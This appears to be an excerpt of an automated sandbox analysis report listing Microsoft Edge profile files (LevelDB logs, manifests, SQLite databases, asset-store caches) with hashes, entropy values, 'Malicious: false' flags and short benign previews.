SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.210861546829813
Encrypted:	false
SSDEEP:	6:iOw5za391v23oH+Tcwtp3hBtB2KLla5zaBh9+q2Pv23oH+Tcwtp3hBWsIFUv:7wE+Yebp3dFLcEBb+v2Yebp3eFUv
MD5:	F168EAA9125FD39DD83437A8988F4899
SHA1:	ADCFB939EEB0B5315A39DC6B99C8D03C5FEF1F19
SHA-256:	4CCA940D95D35FE1BF4F772CCA107879A450BA3924C0063406701E4A2567D679
SHA-512:	11FE162145C2239B44A0EB22E77CE37C0CCFF61ECB9CF5E3F830D91F08CEEC8CC0EBA8902C95231DB96744BE0E69E44871E372666B75CD44FA11DB31D51E600B
Malicious:	false
Preview:	2025/01/23-14:40:14.008 1dbc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2025/01/23-14:40:14.024 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040599386361224
Encrypted:	false
SSDEEP:	24576:2Nf76gGkISshcFdmcOAoPENUpifYP+MbI2T:2NfgAmmE
MD5:	893C7D561BD4953ED8A2BD7BD4C50207
SHA1:	C056FBE5BD8E66EAA4B7F17B8DCD0D6576734A9D
SHA-256:	FB52F82B97E861D0051EDD209BAAB60E7B7025DBD6A7111FC88FC8A30C08DDC5
SHA-512:	3C8A73411ADE4470F08C4372E07159EC82E9EC9592EB87BE9E29520798803C4CA09000A2B8E1B6DBDA22AB3083E51CFF6CCA4845365FD8042D669ED48F0D08CE
Malicious:	false
Preview:	...m.................DB_VERSION.1c0a..................QUERY_TIMESTAMP:arbitration_priority_list4...13340981108855880.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.174484739372925
Encrypted:	false
SSDEEP:	6:iOw5zr61L+q2Pv23oH+Tcwt9Eh1tIFUtq5zrT1Zmwc5zrdVHlLVkwOv23oH+Tcw+:7wd64v2Yeb9Eh16FUtqdT1/cdj5bYebY
MD5:	1B456D628D92F65367B2169607C0B68A
SHA1:	59CF9778B95DCBF15CB679914CCD712B70EF195F
SHA-256:	5AADFB5B791E1030FB3758B665A0A0E06F1D82E6FE2B95C980058A25ED2FA275
SHA-512:	6CE031466E6390E8685AD37B1AD6D7890EE61DB096416D7A889BD2EBAE1635BA46E0C8E113088B5136D063DF8ADD48B8CF13F96A13467A49F1805D189C3B78A0
Malicious:	false
Preview:	2025/01/23-14:40:13.788 918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/01/23-14:40:13.789 918 Recovering log #3.2025/01/23-14:40:13.806 918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.174484739372925
Encrypted:	false
SSDEEP:	6:iOw5zr61L+q2Pv23oH+Tcwt9Eh1tIFUtq5zrT1Zmwc5zrdVHlLVkwOv23oH+Tcw+:7wd64v2Yeb9Eh16FUtqdT1/cdj5bYebY
MD5:	1B456D628D92F65367B2169607C0B68A
SHA1:	59CF9778B95DCBF15CB679914CCD712B70EF195F
SHA-256:	5AADFB5B791E1030FB3758B665A0A0E06F1D82E6FE2B95C980058A25ED2FA275
SHA-512:	6CE031466E6390E8685AD37B1AD6D7890EE61DB096416D7A889BD2EBAE1635BA46E0C8E113088B5136D063DF8ADD48B8CF13F96A13467A49F1805D189C3B78A0
Malicious:	false
Preview:	2025/01/23-14:40:13.788 918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/01/23-14:40:13.789 918 Recovering log #3.2025/01/23-14:40:13.806 918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46221777698034117
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5fn:TouQq3qh7z3bY2LNW9WMcUvBux
MD5:	038111EDF07210CF7346E5455F965C44
SHA1:	7525200A699988883318D71800217303A7B22A0F
SHA-256:	BDC44BAFA8E7D7634391381DDCD6C73F2F192E282629312B7D61FC001D8EE7E0
SHA-512:	596215C89512ECA55FA3E40C7A9F3AEF52D5F4DB0536A55E48AFA11A3BCC1A3BF251454C705ADCDF42F9871F198153FB5BC7960A7EDCDF3A87EDCB0F473ADD16
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.1807904511545075
Encrypted:	false
SSDEEP:	6:iOw5z7wN4q2Pv23oH+TcwtnG2tMsIFUtq5z1JZmwc5z1DkwOv23oH+TcwtnG2tM2:7wlC4v2Yebn9GFUtqbJ/cbD5bYebn95J
MD5:	E9EA687F4F4513B1661258D549BFE2FB
SHA1:	270F42936CDC247F840E35EA0A4B19CAF19961F6
SHA-256:	3BF12B59BBAACEED1408D9C1B6E3DEB42E7774A04DBC7C2B328403C31F00846B
SHA-512:	00EA1F5EC9C3485914D18D1B3F92090A814DCC9FD8C938670E8E95F30A8B5609189E84025BC4DDDF4EE22F6A421E2546FF32E2BCF8D19D44824AB9AB7FB5EBE3
Malicious:	false
Preview:	2025/01/23-14:40:08.514 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/01/23-14:40:08.515 1df4 Recovering log #3.2025/01/23-14:40:08.515 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.1807904511545075
Encrypted:	false
SSDEEP:	6:iOw5z7wN4q2Pv23oH+TcwtnG2tMsIFUtq5z1JZmwc5z1DkwOv23oH+TcwtnG2tM2:7wlC4v2Yebn9GFUtqbJ/cbD5bYebn95J
MD5:	E9EA687F4F4513B1661258D549BFE2FB
SHA1:	270F42936CDC247F840E35EA0A4B19CAF19961F6
SHA-256:	3BF12B59BBAACEED1408D9C1B6E3DEB42E7774A04DBC7C2B328403C31F00846B
SHA-512:	00EA1F5EC9C3485914D18D1B3F92090A814DCC9FD8C938670E8E95F30A8B5609189E84025BC4DDDF4EE22F6A421E2546FF32E2BCF8D19D44824AB9AB7FB5EBE3
Malicious:	false
Preview:	2025/01/23-14:40:08.514 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/01/23-14:40:08.515 1df4 Recovering log #3.2025/01/23-14:40:08.515 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6131166988016726
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j47d0pqemL:TO8D4jJ/6Up+07Tr
MD5:	9CBED13709DF893D914443EEB3261368
SHA1:	12A84AB0F3A408FD3AA7D2C5AB1E714E10E83A88
SHA-256:	141F00E8B8987FA0CD8DB5A040AC6BB62809453B9CC1952BB0AB2FEF19DB47C6
SHA-512:	73B7C037C770E55DCCB0200A61B4A51401E816D9F429C4013936D11F02084B66957EA7AE1B59BEF0B937831D4C30258087067D1A5443E179CE5B92005AD30604
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354093055247567
Encrypted:	false
SSDEEP:	6144:6A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:6FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	EFB1ACF3F12730347AB527B959C5ADBD
SHA1:	ABC04ED0462353C80A8AB40A46A1764BCDA9D773
SHA-256:	12B3928341B16D3BF0E600BBAF265B9C3572CC323AF9CC5E82F2E68CBE6980CB
SHA-512:	E024BB3991F8608BB37BE1DA506AFFBDD5A3F5309445819DDCAB02F5C0C17FF7E37939AA96221DBC62E078E7B909AB426D9BFA22B65329101D6B344AFAB2A8DC
Malicious:	false
Preview:	...m.................DB_VERSION.1:..q...............&QUERY_TIMESTAMP:domains_config_gz2...13382134814938453..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]...`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.205857834020359
Encrypted:	false
SSDEEP:	6:iOw5zrWq1v23oH+Tcwtk2WwnvB2KLla5zrdHp1L+q2Pv23oH+Tcwtk2WwnvIFUv:7wdgYebkxwnvFLcdhKv2YebkxwnQFUv
MD5:	C4D7F68891D451C0E648BF92F7F20A11
SHA1:	3867D1110982AF5094D2CF8C3B28545BC1A70BF0
SHA-256:	A226EDB5DF4596CBAD99777E2D96DE3B58DD2656F39E8A7EF6BC8AF97FAA3761
SHA-512:	B2D4FF4C7630C492F7F2C612691E04F2FA1A6F993F3F5FED733732FA3FB148698998E7203300CF746CD20B930E19CF5FAE4524580C9AE0985B9CD30039602AF1
Malicious:	false
Preview:	2025/01/23-14:40:13.798 7a8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/01/23-14:40:13.857 7a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324616864107998
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rh:C1gAg1zfvJ
MD5:	80BC27750CC003DC6863856DA1E37D2B
SHA1:	6F9CC4572F3296C46919C024EBFDCA5D5CA3FF83
SHA-256:	066BB766BA6AA59BB471B33409093479407DED74CC56FAFD75E7030E5D869E00
SHA-512:	7D318C4CF7BC8EA5D2F50FD18A230BF005BE8CFBE5D729AF981CE7247287D1F00848F3BCC7910EC863264751A554134F89BDF7305F9B1FE596F6C5AF6D0BB255
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.183217781944364
Encrypted:	false
SSDEEP:	6:iOw5z5pM+q2Pv23oH+Tcwt8aPrqIFUtq5zSNZmwc5zODMVkwOv23oH+Tcwt8amLJ:7w2+v2YebL3FUtqUN/cRV5bYebQJ
MD5:	D5CEE62CDA63365816CE6686CD18E2E2
SHA1:	8DAC98D30C484DFA3C8FBA8DE9DB2EE1E7CD9AEE
SHA-256:	E8E02623D544D42D2758508E716A231A2E245AFD0A3F6AD45E65E01D411A6562
SHA-512:	6E1522D80DF8623052ABC1F7DB2FAE27951EE3E02D1AC7D71C82DF466F6EDCC77B7FB6104B80CD98F6BF711CF7D8A6C21CC3A1F283E24B498338E563FE6FB513
Malicious:	false
Preview:	2025/01/23-14:40:08.537 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/01/23-14:40:08.546 1a1c Recovering log #3.2025/01/23-14:40:08.547 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.183217781944364
Encrypted:	false
SSDEEP:	6:iOw5z5pM+q2Pv23oH+Tcwt8aPrqIFUtq5zSNZmwc5zODMVkwOv23oH+Tcwt8amLJ:7w2+v2YebL3FUtqUN/cRV5bYebQJ
MD5:	D5CEE62CDA63365816CE6686CD18E2E2
SHA1:	8DAC98D30C484DFA3C8FBA8DE9DB2EE1E7CD9AEE
SHA-256:	E8E02623D544D42D2758508E716A231A2E245AFD0A3F6AD45E65E01D411A6562
SHA-512:	6E1522D80DF8623052ABC1F7DB2FAE27951EE3E02D1AC7D71C82DF466F6EDCC77B7FB6104B80CD98F6BF711CF7D8A6C21CC3A1F283E24B498338E563FE6FB513
Malicious:	false
Preview:	2025/01/23-14:40:08.537 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/01/23-14:40:08.546 1a1c Recovering log #3.2025/01/23-14:40:08.547 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.187751169880632
Encrypted:	false
SSDEEP:	6:iOw5zsRgGqM+q2Pv23oH+Tcwt865IFUtq5zTgZmwc5zoVgGqMVkwOv23oH+TcwtD:7wU3+v2Yeb/WFUtqG/cE3V5bYeb/+SJ
MD5:	FD22AFE62BD5279DDD088109058E25C6
SHA1:	07482A5F03F1EEF28651AA01DD71F76CCE357714
SHA-256:	211D2769D8DBE75141CE452B7208629BED0F13C2BFCA1B25FC6ED6EE58D97A70
SHA-512:	74CDD44F42FB7A3264B821970D831328437C54D579BE26EBAEB8F87869810D834A10FEE9348C27172CB900558484349F12DA7B646D0A8D046755A485E205C8A9
Malicious:	false
Preview:	2025/01/23-14:40:08.614 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/01/23-14:40:08.649 1a1c Recovering log #3.2025/01/23-14:40:08.650 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.187751169880632
Encrypted:	false
SSDEEP:	6:iOw5zsRgGqM+q2Pv23oH+Tcwt865IFUtq5zTgZmwc5zoVgGqMVkwOv23oH+TcwtD:7wU3+v2Yeb/WFUtqG/cE3V5bYeb/+SJ
MD5:	FD22AFE62BD5279DDD088109058E25C6
SHA1:	07482A5F03F1EEF28651AA01DD71F76CCE357714
SHA-256:	211D2769D8DBE75141CE452B7208629BED0F13C2BFCA1B25FC6ED6EE58D97A70
SHA-512:	74CDD44F42FB7A3264B821970D831328437C54D579BE26EBAEB8F87869810D834A10FEE9348C27172CB900558484349F12DA7B646D0A8D046755A485E205C8A9
Malicious:	false
Preview:	2025/01/23-14:40:08.614 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/01/23-14:40:08.649 1a1c Recovering log #3.2025/01/23-14:40:08.650 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
